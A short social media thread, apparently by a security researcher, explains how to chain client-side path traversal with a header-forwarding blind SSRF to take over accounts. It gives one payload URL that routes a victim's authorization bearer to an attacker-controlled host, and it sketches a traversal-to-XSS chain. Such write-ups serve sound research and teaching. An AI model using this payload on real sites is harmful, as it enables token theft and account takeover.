Thread by @samwcyo

Client side path traversal is a really fun thing to explore for CSRF and XSS. Revisited an unexploitable blind SSRF which (1) required the authorization header to be sent and (2) passed the authorization header to the provided "url" parameter. This would be account takeover ...

... but, you can't directly CSRF a victim into sending an authorization bearer, therefore you can't trigger the CSRF and steal their token via the blind SSRF which forwarded the header. Luckily for us, the blind SSRF API call was via GET (/example?url=https:// + auth header) ...

... and this allows us to explore the rest of the app for potential client-side path traversal vulnerabilities. These are somewhat easy to find because they don't pose much risk by themselves. If a web app is large and ran via static JavaScript, you can find them pretty easy ...

... by looking in the navigation bar for things like ?x=1 or anything passed in via the URL hash and seeing if they send an HTTP request on your behalf.

An example would be ?id=1 loading in /api/users/1 whilst sending your authorization bearer.

This is great for us, because ...

... we can then exploit the blind SSRF which leaks the victim authorization bearer via the following payload:

https://victimsite/users?id=/../../example?url=https://oursite/?

This is important, because the JavaScript on the site will pass in the authorization bearer, and we ...

... can trigger the CSRF on behalf of the victim user versus them not sending an authorization bearer whatsoever.

Another interesting one is...
traversal -> open redirect -> attacker JSON -> render -> XSS.

I've seen a few of these and they're definitely not novel, but very fun!